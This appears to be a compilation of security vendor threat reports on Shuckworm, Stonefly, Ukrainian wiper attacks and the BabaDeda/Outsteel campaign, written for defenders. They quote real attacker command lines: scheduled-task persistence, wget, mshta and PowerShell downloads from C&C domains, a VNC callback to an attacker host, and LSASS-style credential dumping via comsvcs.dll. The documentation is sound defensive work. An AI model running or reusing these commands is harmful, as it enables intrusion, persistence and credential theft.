+At the same time, a new variant of Pterodo is installed via depended.exe.
+Similarly to before, two additional scheduled tasks are created:
+"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "MediaConverter" /tr
+"wscript.exe " CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b " /F"
+"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "VideoHostName"
+/tr "wscript.exe " CSIDL_COMMON_VIDEO\webmedia.m3u //e:VBScript //b " /F"
+The attackers continue to install variants of their backdoor and execute commands via scripts
+to ensure persistence:
+"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\22333.docx
+//e:VBScript //b
+"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\9140.d
+//e:VBScript //b
+wscript.exe CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b
+schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr
+"wscript.exe C:\Users\o.korol\AppData\Roaming\battery\battery.dat //e:VBScript
+//b"
+"CSIDL_SYSTEM\cmd.exe" /c
+CSIDL_PROFILE\appdata\roaming\battery\battery.cmd
+Directly after this, it appears the attackers test connectivity to a new C&C server via ping.exe:
+CSIDL_SYSTEM\cmd.exe /c ping -n 1 arianat.ru
+Once the connection is confirmed to be active, the attackers proceed to download another
+variant of their Pterodo backdoor and begin using the new C&C to download additional
+scripts and tools, as well as creating scheduled tasks to run every few minutes.
+"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\12382.
+//e:VBScript //b
+"CSIDL_SYSTEM\cmd.exe" /c CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7ZIP.html /f id=<?,?>
+CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7-ZIP.html /f id=<?,?>
+"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "MediaConverter" /tr
+"wscript.exe " CSIDL_COMMON_MUSIC\mediatv.mov //e:VBScript //b " /F"
+"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "VideoHostName"
+/tr "wscript.exe " CSIDL_COMMON_VIDEO\videotv.m3u //e:VBScript //b " /F"
+At this point, the attackers cease activity. However, we continue to see commands being
+executed from the scheduled tasks for the remainder of July 14.
+July 16
+At 05:28, the attackers return, and several additional variants of Pterodo are executed via
+CSIDL_COMMON_VIDEO\planeta.exe
+(1ea3881d5d03214d6b7e37fb7b10221ef51782080a24cc3e275f42a3c1ea99c1).
+"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\32440.docx
+//e:VBScript //b
+"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\20507.d
+//e:VBScript //b
+The attackers are then observed executing commands via planeta.exe:
+CSIDL_SYSTEM\cmd.exe /c ""CSIDL_PROFILE\appdata\local\temp\7zsfx000."" ""
+"CSIDL_SYSTEM\cmd.exe" /c ipconfig /flushdns
+The above flushdns command may indicate that the attackers have updated the DNS records
+for their C&Cs, as we observed some of their tools use hard-coded domains. In this particular
+instance, the flushdns command was executed shortly before the attackers attempted to
+install additional backdoors that leveraged the same C&C.
+July 28
+Later, another variant ofPterodo (deep-sided.fly) was executed and was used to download
+and execute a new file called deerskin.exe
+(ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29). This file is a
+dropper for a VNC client. When executed, it pings google DNS (8.8.8.8) to test internet
+connectivity, then proceeds to drop a VNC client and establishes a connection to a remote
+C&C server controlled by the attackers:
+"%USERPROFILE%\Contacts\DriversHood.exe" -autoreconnect -id:2097 -connect
+mucoris.ru:5612
+Two such files have been identified that perform the same actions:
+1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f
+ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29
+This VNC client appears to be the ultimate payload for this attack.
+Between July 29 and August 18 activity continued whereby we observed the attackers
+deploying multiple variants of their custom VBS backdoor along with executing VBS scripts
+and creating scheduled tasks similar to the ones detailed above. After August 18, no further
+suspicious activity was observed on this machine.
+During the course of this investigation, specifically post VNC client installation, a number of
+documents were opened from various locations on the compromised machine. It is unclear if
+this was legitimate user activity or the activity of the attackers attempting to collect and
+exfiltrate sensitive information. Titles of the documents accessed ranged from job
+descriptions to sensitive information pertaining to the targeted organization.
+Technical descriptions
+Symantec investigations uncovered a total of seven files used by Shuckworm in recent
+attacks. All seven files are 7-zip SFX self-extracting binaries, a format used previously in
+Shuckworm attacks.
+descend.exe
+Upon execution, the file named descend.exe
+(0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137) drops a VBS
+file which, in turn, drops a second VBS file in the following locations:
+%USERPROFILE%\Downloads\deerbrook.ppt
+%PUBLIC%\Pictures\deerbrook.ppt
+It then creates the following task:
+SCHTASKS /CREATE /sc minute /mo 11 /tn "deerbrook" /tr "wscript.exe
+'<DROPPED_FOLDER>\deerbrook.ppt' //e:VBScript //b" /F
+The file deerbrook.ppt
+(b46e872375b3c910fb589ab75bf130f7e276c4bcd913705a140ac76d9d373c9e) VBS file
+contacts a command-and-control (C&C) server at deep-pitched.enarto.ru. If the C&C server is
+available, a HTTP POST request is sent to download a payload, which is saved in the
+%USERPROFILE% folder as deep-sunken.tmp then renamed to deep-sunken.exe and
+executed. The binary is then deleted.
+deep-sunken.exe
+Upon execution, the file deep-sunken.exe
+(02c41bddd087522ce60f9376e499dcee6259853dcb50ddad70cb3ef8dd77c200) drops the
+following files on the compromised computer:
+%APPDATA%\baby\baby.cmd
+%APPDATA%\baby\baby.dat
+%APPDATA%\baby\basement.exe (wget binary)
+%APPDATA%\baby\vb_baby.vbs
+It then creates the following task:
+schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr
+"wscript.exe [%APPDATA%]\baby\baby.dat" //e:VBScript //b
+It then connects to a C&C server (arianat.ru) to download another payload using wget:
+basement.exe --user-agent="Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36
+(KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64::
+[VICTIM_ID]::/.beagle/." -q -b -c -t 2 "hxxp://arianat.ru/baby.php" -P "
+[%APPDATA%]\baby"
+The baby.dat file is a VBS file that executes baby.cmd, which then downloads and executes
+the payload from the C&C server.
+The vb_baby.vbs file renames the downloaded payload from baby.php to backed.exe.
+The downloaded payload (backed.exe) could not be retrieved. However, the following files
+were also obtained during our investigation:
+z4z05jn4.egf.exe
+The file z4z05jn4.egf.exe
+(fd9a9dd9c73088d1ffdea85540ee671d8abb6b5ab37d66a760b2350951c784d0) is similar to
+the previous file (deep-sunken.exe) but with different folders, file names, and C&C server
+(iruto.ru).
+defiant.exe
+Once executed, the file defiant.exe
+(a20e38bacc979a5aa18f1954df1a2c0558ba23cdc1503af0ad1021c330f1e455) drops a VBS file
+in the following locations:
+%TEMP%\\deep-versed.nls
+%PUBLIC\Pictures\deep-versed.nls
+It then creates the following task:
+SCHTASKS /CREATE /sc minute /mo 12 /tn \"deep-versed\" /tr \"wscript.exe \"
+[%PUBLIC%]\\Pictures\\deep-versed.nls\" //e:VBScript //b\" /F
+The dropped file deep-versed.nls
+(817901df616c77dd1e5694e3d75aebb3a52464c23a06820517108c74edd07fbc) downloads a
+payload from a C&C server (deep-toned.chehalo.ru) and saves it as deep-green.exe in the
+following location:
+%PUBLIC%\Downloads
+deep-green.exe
+The file deep-green.exe
+(1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f) contains an
+UltraVNC binary, which upon execution connects to a repeater (mucoris.ru:5612) using the
+following command line:
+-autoreconnect -id:%RANDOM% -connect mucoris.ru:5612
+UltraVNC is an open-source remote-administration/remote-desktop-software utility.
+deep-green.exe
+A second file named deep-green.exe
+(f6c56a51c1f0139036e80a517a6634d4d87d05cce17c4ca5adc1055b42bf03aa) contain a
+Process Explorer (procexp) binary.
+Process Explorer is a freeware task manager and system monitor for Microsoft Windows.
+deep-green.exe
+A third file called deep-green.exe
+(de5a53a3b75e3e730755af09e3cacb7e6d171fc9b1853a7200e5dfb9044ab20a) is similar to
+descend.exe (0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137)
+just with different file names and C&C server (deer-lick.chehalo.ru).
+deep-green.exe
+The fourth and final file named deep-green.exe
+(d15a7e69769f4727f7b522995a17a0206ac9450cfb0dfe1fc98fd32272ee5ba7) drops a VBS file
+in the following location:
+%PUBLIC%\Music\
+It then creates the following task:
+"/CREATE /sc minute /mo 12 /tn \"MediaConverter\" /tr \"wscript.exe
+\"C:\\Users\\Public\\Music\\MediaConvertor.dat\" //e:VBScript //b \" /F"
+The MediaConvertor.dat file searches for removable drives and creates a .lnk file with the
+following command:
+mshta.exe hxxp://PLAZMA.VIBER.ontroma.ru/PLAZMA.html /f id=January
+IOC patterns
+Analysis of the many indicators of compromise (IOCs) uncovered during our investigations
+have revealed the following patterns, which may be of use when defending networks from
+Shuckworm attacks:
+Most URL C&C IPs belong to the short list of hosting providers listed in the SSU report,
+namely AS9123 TimeWeb Ltd. (Russia).
+Most discovered suspected C&C URLs are IP-based URLs and use a unique URI
+structure:
+http + IP + /<some-word>.php?<some-word>=<1-integer>,<5-7-randalphanums> OR
+http + IP + /<some-word>.php?<some-word>=<1-integer>,<5-7-randalphanums>-<2-integers>
+Most suspected malicious files are found in one of a short list of directories:
+csidl_profile\links
+csidl_profile\searches
+CSIDL_PROFILE\appdata\local\temp\
+CSIDL_PROFILE\
+Nearly all the suspected malicious files are made up of a word beginning with the letter
+"d" and a few are composed of two words separated by a "-" (first word also starting
+with "d"). Examples include:
+deceive.exe
+deceived.exe
+deception.exe
+deceptive.exe
+decide.exe
+decided.exe
+decipher.exe
+decisive.exe
+deep-sunken.exe
+deep-vaulted.exe
+Detected command lines are simple and consist of just the binary path + name; no
+switches, etc.
+Many suspected malicious files have unknown parent process hashes, none of which
+have available information.
+According to a November 2021 report from the SSU, since 2014 the Shuckworm group has
+been responsible for over 5,000 attacks against more than 1,500 Ukrainian government
+systems. As evidenced by Symantec
+s recent investigations into attempted Shuckworm
+attacks against a number of organizations in Ukraine, this activity shows little sign of abating.
+The Threat Hunter Team is a group of security experts within Symantec whose
+mission is to investigate targeted attacks, drive enhanced protection in Symantec
+products, and offer analysis that helps customers respond to attacks.
+Stonefly: North Korea-linked Spying Operation Continues
+to Hit High-value Targets
+symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage
+The North Korean-linked Stonefly group is continuing to mount espionage attacks against
+highly specialized engineering companies with a likely goal of obtaining sensitive intellectual
+property.
+Stonefly specializes in mounting highly selective targeted attacks against targets that could
+yield intelligence to assist strategically important sectors such as energy, aerospace, and
+military equipment. Virtually all of the technologies it appears to be interested in have
+military as well as civilian uses and some could have applications in the development of
+advanced weaponry.
+History of ambitious attacks
+Stonefly (aka DarkSeoul, BlackMine, Operation Troy, and Silent Chollima) first came to
+notice in July 2009, when it mounted distributed denial-of-service (DDoS) attacks against a
+number of South Korean, U.S. government, and financial websites.
+It reappeared again in 2011, when it launched more DDoS attacks, but also revealed an
+espionage element to its attacks when it was found to be using a sophisticated backdoor
+Trojan (Backdoor.Prioxer) against selected targets.
+In March 2013, the group was linked to the Jokra (Tojan.Jokra) disk-wiping attacks against a
+number of South Korean banks and broadcasters. Three months later, the group was
+involved in a string of DDoS attacks against South Korean government websites.
+In recent years, the group
+s capabilities have grown markedly and, since at least 2019
+Symantec has seen its focus shift solely to espionage operations against select, high-value
+targets. It now appears to specialize in targeting organizations that hold classified or highly
+sensitive information or intellectual property. Stonefly
+s operations appear to be part of a
+broader North Korean-sponsored campaign to acquire information and intellectual property,
+with Operation Dream Job, a more wider-ranging trawl across multiple sectors, being carried
+out by another North Korean group, Pompilus.
+Latest target
+The most recent attack discovered by Symantec, a division of Broadcom Software, was
+against an engineering firm that works in the energy and military sectors. The attackers
+breached the organization in February 2022, most likely by exploiting the Log4j vulnerability
+(CVE-2021-44228) vulnerability on a public-facing VMware View server. The attackers then
+moved across the network and compromised 18 other computers.
+17 hours later: Shortly after compromising the initial server, the attackers installed an
+updated version of Stonefly
+s Backdoor.Preft malware (aka Dtrack, Valefor). The attackers
+then used a masqueraded version (file name: pvhost.exe) of PuTTY
+s PSCP command line
+application, presumably to exfiltrate data from the infected machine. Shortly after PSCP was
+executed, the credential-dumping tool Mimikatz (masquerading under the file name pl.exe)
+was run.
+Day 2: Malicious activity resumed when 3proxy tiny proxy server, a publicly available proxy
+tool (file name: svhost.exe) was executed. Use of this tool continued for the next four days. A
+second suspected proxy tool was installed two days into this four day period (file name:
+tapi.exe). Several hours afterwards, a copy of the Preft backdoor (file name: svchost.exe) was
+installed. Two days later, WinSCP, an open-source SSH file-transfer tool was used,
+presumably to exfiltrate or upload data to the compromised computer.
+Day 3: The next phase of the intrusion began on the following day, when Preft was executed
+and the attackers began moving latterly across the organization
+s network, using InvokeTheHash, a publicly available PowerShell pass-the-hash utility (file name: rev.ps1), and
+wmiexec.py, a publicly available Impacket tool used to run WMI commands (file name:
+notepad.exe).
+Updated Preft backdoor
+The attackers used an updated version of Stonefly
+s custom Preft backdoor. Analysis of the
+backdoor revealed that it is a multistage tool:
+Stage 1 is the main binary. A python script is used to unpack the binary and shellcode.
+Stage 2 is shellcode. It performs the following actions:
+Sleeps for 19,999 seconds, probably in an attempt to evade sandbox detection
+Opens a mutex, with the name specified in the Stage 3 shellcode
+Instead of loading an executable file, it starts Internet Explorer (iexplore.exe) or
+explorer.exe and injects the Stage 3 shellcode into either. It sets up a named pipe
+("\.\pipe\pipe") for communication. The file name of the main binary is sent over the
+pipe.
+Stage 3 is more shellcode.
+Stage 4 is the payload. It is an HTTP remote access tool (RAT) that supports various
+commands, including:
+1. Download (Download a file and save locally)
+2. Upload (Upload a file to a C&C server)
+3. Set Interval (Change C&C server query interval - in minutes)
+4. Shell Execute (Execute a command in the shell)
+5. Download Plugin
+6. Update (Download a new version and replace)
+7. Info (Return debug information about the current infection)
+8. Uninstall
+9. Download Executable
+The malware can support four different kinds of plugins: executable files, VBS, BAT, and
+shellcode. It supports three different persistence modes: Startup_LNK, Service, Registry, and
+Task Scheduler.
+Custom information stealer
+Along with the Preft backdoor, Stonefly also deployed what appears to be a custom developed
+information stealer (infostealer). Analysis of this malware revealed that it is a three-staged
+threat. The main binary extracts and decrypts the encrypted shellcode with a modified RC4
+algorithm.
+Stage 2 is shellcode which retrieves the payload and decrypts it with the same modified RC4
+algorithm. The decrypted payload is an executable file that is loaded in-memory. It is
+designed to search the infected computer for files using pre-configured parameters. These
+are then copied to temporary files before being copied to a single .zip file and the temporary
+files are removed. The ZIP file path is %TEMP/~[XXXXXXXX].tmp, where XXXXXXXX is a
+simple hash of the computer name (eight uppercase hex digits).
+Curiously, this ZIP file is not automatically exfiltrated. It is possible that the exfiltration
+functionality was removed and the attackers planned to use an alternative means of
+exfiltration.
+High-value targets
+While Stonefly
+s tools and tactics continue to evolve, there are some common threads
+between this recent activity and previous attacks, such as its ongoing development of the
+Preft backdoor and heavy reliance on open-source tools.
+The group
+s capabilities and its narrow focus on acquiring sensitive information make it one
+of the most potent North Korean cyber threat actors operating today.
+Protection/Mitigation
+For the latest protection updates, please visit the Symantec Protection Bulletin.
+Indicators of Compromise
+If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect
+and block that file.
+About the Author
+Threat Hunter Team
+Symantec
+The Threat Hunter Team is a group of security experts within Symantec whose mission is to
+investigate targeted attacks, drive enhanced protection in Symantec products, and offer
+analysis that helps customers respond to attacks.
+Ukraine: Disk-wiping Attacks Precede Russian Invasion
+symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia
+UPDATE February 24, 2022, 13:42: This blog has been updated with details about ransomware being used as a
+possible decoy during some wiper attacks.
+A new form of disk-wiping malware (Trojan.Killdisk) was used to attack organizations in Ukraine shortly before the
+launch of a Russian invasion this morning (February 24). Symantec, a division of Broadcom Software, has also found
+evidence of wiper attacks against machines in Lithuania. Sectors targeted included organizations in the financial,
+defense, aviation, and IT services sectors.
+Trojan.Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd.
+It contains 32-bit and 64-bit driver files which are compressed by the Lempel-Ziv algorithm stored in their resource
+section. The driver files are signed by a certificate issued to EaseUS Partition Master. The malware will drop the
+corresponding file according to the operating system (OS) version of the infected system. Driver file names are
+generated using the Process ID of the wiper
+Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable. The
+wiper does not appear to have any additional functionality beyond its destructive capabilities.
+Attack chain
+Initial indications suggest that the attacks may have been in preparation for some time. Temporal evidence points to
+potentially related malicious activity beginning as early as November 2021. However, we are continuing to review and
+verify findings.
+In the case of an attack against one organization in Ukraine, the attackers appear to have gained access to the network
+on December 23, 2021, via malicious SMB activity against a Microsoft Exchange Server. This was immediately followed
+by credential theft. A web shell was also installed on January 16, before the wiper was deployed on February 23.
+An organization in Lithuania was compromised from at least November 12, 2021, onwards. It appears the attackers
+may have leveraged a Tomcat exploit in order to execute a PowerShell command. The decoded PowerShell was used to
+download a JPEG file from an internal server, on the victim
+s network.
+cmd.exe /Q /c powershell -c "(New-Object
+System.Net.WebClient).DownloadFile('hxxp://192.168.3.13/email.jpeg','CSIDL_SYSTEM_DRIVE\temp\sys.tmp1')"
+1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1
+A minute later, the attackers created a scheduled task to execute a suspicious 
+postgresql.exe
+ file, weekly on a
+Wednesday, specifically at 11:05 local-time. The attackers then ran this scheduled task to execute the task.
+cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1
+CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1
+schtasks /run /tn "\Microsoft\Windows\termsrv\licensing\TlsAccess"
+Nine minutes later, the attackers modified the scheduled task to execute the same postgres.exe file at 09:30 local-time
+instead.
+Beginning on February 22, Symantec observed the file 
+postgresql.exe
+ being executed and used to perform the
+following:
+Execute certutil to check connectivity to trustsecpro[.]com and whatismyip[.]com
+Execute a PowerShell command to download another JPEG file from a compromised web server confluence[.]novus[.]ua
+Following this activity, PowerShell was used to dump credentials from the compromised machine:
+cmd.exe /Q /c powershell -c "rundll32 C:\windows\system32\comsvcs.dll MiniDump 600
+C:\asm\appdata\local\microsoft\windows\winupd.log full" 1> \\127.0.0.1\ADMIN$\__1638457529.1247072
+2>&1
+Later, following the above activity, several unknown PowerShell scripts were executed.
+powershell -v 2 -exec bypass -File text.ps1
+powershell -exec bypass gp.ps1
+powershell -exec bypass -File link.ps1
+Five minutes later, the wiper (Trojan.KillDisk) was deployed.
+Ransomware decoy
+In several attacks Symantec has investigated to date, ransomware was also deployed against affected organizations at
+the same time as the wiper. As with the wiper, scheduled tasks were used to deploy the ransomware. File names used
+by the ransomware included client.exe, cdir.exe, cname.exe, connh.exe, and intpub.exe. It appears likely that the
+ransomware was used as a decoy or distraction from the wiper attacks. This has some similarities to the earlier
+WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
+Cyber Reports
+BabaDeda and LorecCPL
+downloaders used to run Outsteel
+against Ukraine
+TELSY S.p.A.
+Corso Svizzera, 185 - 10149 Torino 
+ ITALIA
+Via del Pellegrino 155 - 00186 Roma - ITALIA
+16/02/2022
+tel +39.011.771.4343 - fax +39.011.741.9090
+email: telsy@telsy.it
+Cyber Reports 
+ 16/02/2022
+INDEX
+Introduction ....................................................................................................................................3
+Analysis ........................................................................................................................................... 4
+Double BabaDeda crypter downloaded from LNK or docm template ................ 6
+2.1.1
+First Stage........................................................................................................................................ 8
+2.1.2
+WhisperGate Code OVERLAP .................................................................................................. 19
+BABADEDA Crypter Dropped from a new Downloader ......................................... 22
+LorecCPL downloads ASPProtected Outsteel............................................................27
+Indicators of Compromise........................................................................................................ 33
+ATT&CK Matrix............................................................................................................................ 34
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+1 Introduction
+Beginning in January 2022, there was a series of attacks on numerous organizations in
+Ukraine spanning the government, the military, non-governmental organizations (NGOs),
+with the primary intent of exfiltrating sensitive information and maintaining access.
+Based on these new details and Telsy's threat hunt, we uncovered several links that
+strongly support the idea that these attacks were part of a larger campaign that has been
+running for a few months and has undergone several evolutions.
+In this way we have mapped the various clusters and in particular three chains of infection,
+composed of a series of techniques and procedures, with several significant elements that
+we consider important to better understand the various phases implemented.
+One of the most used access vectors in these campaigns are spear-phishing emails with
+malicious attachments. Phishing attachments contain a first-stage payload that
+downloads and executes additional payloads. The main payload provided by the malware
+is an infostealer written in AutoIt compiled (OutSteel). Its main goal is to steal files from
+the victim's machine by uploading them to a default Command and control (C2) server.
+The element detected in these latter chains is the downloader used to load the infostealer
+Outsteel
+. In the past this was loaded by the SaintBot tool while in these campaigns, it is
+loaded by the BabaDeda crypter.
+Based on victimology and the fact that this attack attempts to steal files from government
+entities, it is assumed to be a state-sponsored group.
+Some evidence suggests that these activities are carried out by a hacker group called
+Lorec53
+ as namede by the security firm 
+NSFocus
+. The group is suspected of being
+employed by other high-level espionage organisations to conduct espionage attacks,
+targeting government employees in Georgia and Ukraine. This group uses the infostealer
+"Outsteel" and the downloader "LorecCPL", both of which have overlapping code with the
+same artefacts identified in the campaigns analysed in this report. We can therefore
+assume that the BabaDeda crypter is also one of the tools in use by this group.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+entities graph
+2 Analysis
+Telsy detected several infection chains starting with different initial stages: document
+template, LNK file or a CPL file representing a new type of downloader very similar to a
+shellcode in the way the stack is used.
+The second phase uses the BabaDeda crypter to run the infostealer called OutSteel.
+BabaDeda Crypter is an evasive malware that acts like an installer and executes a
+shellcode stored encrypted in a file usually, xml or pdf, dropped by the installer self. The
+main binary of BabaDeda Crypter it
+s a malicious binary, compiled with text segment
+writable, that has only the purpose to load the 1st malicious library.
+The first malicious DLL side loaded decrypt the shellcode storing it in the text section of
+the main binary and loads/execute the secondary malicious library in another thread then
+return to the decrypted shellcode.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+The decrypted shellcode represents the real payload embedded in the installer by the
+threat actor while the 2nd malicious library can embed every kind of malware. In the
+samples that we found the 2nd library is used sometime as downloader and in other cases
+as thread to achieve persistence, it depends by the stage.
+execution process graph
+Below a kind of time line that describes how the tools were employed in the time, most
+likely, by the same threat actor.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+2.1 Double BabaDeda crypter downloaded from LNK or docm template
+This infection chain, which can be placed in the period September / October 2021
+according to the compilation times, starts with a link (LNK) or a WORD template
+document that downloads the BabaDeda crypter. The BabaDeda crypter includes Outsteel
+as a payload and a downloader as 2nd library.
+execution process graph
+The lnk file with hash 931a86f402fee99ae1358bb0b76d055b2d04518f, most likely
+distributed by e-mail, named 
+.lnk
+ (Special documents of the
+SBU.lnk) is, clearly, a decoy document for Ukrainian defense officers. This lnk file was
+contained in zip archives hosted on discord.
+When open it executes a PowerShell command to download and execute the first phase
+from the URL: 
+hxxp: //3237.site/test01.exe
+The downloaded executable with hash 0d584d72fe321332df0b0a17720191ad96737f47 is
+stored in the public directory and it is executed from the PowerShell self.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+Instead the document with hash ac672a07c62d48c0a7f98554038913770efaef11 is a word
+dotm model and starts the first phase of the infection in the same way as the lnk file,
+downloading
+executing
+same
+artifact
+through
+PowerShell:
+hxxp://3237.site/test01.exe.
+The following document header suggests that this document may have been used after
+September 2021.
+Addition to the decision of the National Security and Defense Council of Ukraine of
+September 7, 2021 "On Amendments to Personal Special Economic and Other Restrictive
+Measures (Sanctions)
+The template contains a macro that on the open event drops a cmd file with a PowerShell
+command inside.
+The cmd file is stored in 
+C:\Users\Public\Documents\programtwo.cmd
+ and contains the
+PowerShell command to download the artifact from URL 
+hxxp: //3237.site/test01.exe
+and save it in 
+C:\Users\Public\Documents\manlevel.exe
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+As in the previous LNK document the PowerShell command runs the downloaded file.
+Also, the WORD template has been hosted on discord and is most likely downloaded as a
+remote template from a docx released by email.
+2.1.1 First Stage
+Both files, lnk and WORD template, downloads the same installer has been created with
+Inno Setup.
+Once executed, it extracts all the components in the path:
+C:\Users\admin\AppData\Roaming\mXParser
+main
+executable,
+named
+mathparser.exe
+whose
+hash
+26474ba449682e82ca38fef32836dcb23ee24012, is executed directly by the installer after
+all the components have been extracted.
+This installation is a BabaDeda crypter, i.e. a type of loader. In fact, as described in the
+blog of the security company "Morphisec
+, it is used to evasively load a malicious payload
+stored in another file. Since the analysis cited by the blog is exhaustive, it was not
+performed.
+This loader was reported in November 2021 in connection with attacks against the NFT
+and Crypto community. Instead, it was used in these campaigns, leading to the
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+assumption that it could be code reuse or the action of the same cybercriminal group in
+favour of a state-sponsored threat actor.
+Basically, the BabaDeda crypter phases are:
+1. Main Binary load and run a malicious DLL;
+2. The malicious DLL load and execute in another thread the second malicious DLL;
+3. The first malicious DLL read and parse the shellcode and write it in the text section
+of the main binary;
+4. The first malicious DLL returns to the shellcode entry point;
+5. The decryption shellcode has three main tasks: first, it extracts the loader shellcode
+and the payload, then it decrypts them, and finally, it transfers the execution to the
+decrypted loader shellcode.
+6. Finally, the payload is executed.
+Since the second loaded DLL and the final payload can be customised, BabaDeda crypter
+can be used to load any type of installation, in fact in this particular infection chain the
+first installer is intended to download and run another BabaDeda crypter. This differs from
+the analysis carried out by the company Morphisec in November 2021 in which the samples
+analysed were only used to directly upload malicious artefacts.
+The 
+mathparser
+ installation directory contains the following malicious files:
+NAME
+SHA1
+PURPOSE
+mathparser.exe
+JxCnv40.dll
+libics4.0.dll
+manual.pdf
+26474ba449682e82ca38fef32836dcb23ee24012
+7d44391b76368b8331c4f468f8ddbaf6ee5a6793
+e1d92e085df142d703ed9fd9c65ed92562a759fa
+8423b25054aa78535c49042295558f33d34deae1
+Main malicious Binary
+1st Loaded DLL
+2nd Loaded DLL
+Shellcode Container
+So, the main binary before loading the library named 
+JxCnv40.dll
+ set the current
+directory to the right path to be sure that side loading technique works.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+This library, whit hash 7d44391b76368b8331c4f468f8ddbaf6ee5a6793, run in a thread the
+second malicious library.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+Basically, the first library open 
+manual.pdf
+ reads all the content, then starts a new thread
+and after copy the 0x226 bytes from the file content into the main binary text section. The
+main binary is compiled with text section writable, so it does not need any virtual protect
+API. The shellcode taken from the file is located at a specified offset and it has a fixed size,
+this means that the BabaDeda crypter is not so ductile, indeed the binary is strictly linked
+to the shellcode and the file that contains the shellcode. This makes harder to re-use it
+without having the BabaDeda crypter build tools. A threat actor could use it changing the
+offsets manually to load another shellcode of different length from another file.
+Below the routine that loads the second library:
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+Meanwhile the second library is executed in another thread, the final payload is decrypted
+and executed in the main binary thread. The payload named Outsteel sends the
+documents to be exfiltrated to the URL 
+hxxp://185.244.41.109:8080/upld/
+This IP was disclosed as an IoC by the Ukrainian CERT in February 2022, although the same
+has been in use since at least October 2021. The final payload was decompiled with AutoIt
+tools and a code snippet follows.
+Outsteel snippet code
+The second library, with hash e1d92e085df142d703ed9fd9c65ed92562a759fa, is a mere
+downloader. Its main and only purpose is to download the next stage and run it.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+Then the library with hash e1d92e085df142d703ed9fd9c65ed92562a759fa downloads from
+the URL "hxxp://smm2021.net/load2022.exe" the artefact, stores it in the path
+"C:\Users\<user>\Downloads\installation.exe" and finally executes it.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+The downloaded file represents the second BabaDeda crypter installation and has hash:
+75afd05e721553211ce2b6d6760b3e6426378469.
+In particular, once executed, it runs an msiexec command to extract each component of
+the installation to 
+C:\Users\admin\AppData\Roaming\AdoptOpenJDK\Network OpenJDK
+11 2.1.11.53
+. After that, the main binary is executed automatically.
+The malicious files released are:
+NAME
+adfrecorder.exe
+ff_wmv9.dll
+libegl3.dll
+usage.pdf
+SHA1
+adea1f5656c54983880c4f1841df85016828eece
+ba9cea9ae60f473d7990c4fb6247c11c080788d3
+3a0a4e711c95e35c91a196266aeaf1dc0674739d
+fa7887bc9d48fcfc6fd0e774092ca711ae28993a
+PURPOSE
+Main malicious Binary
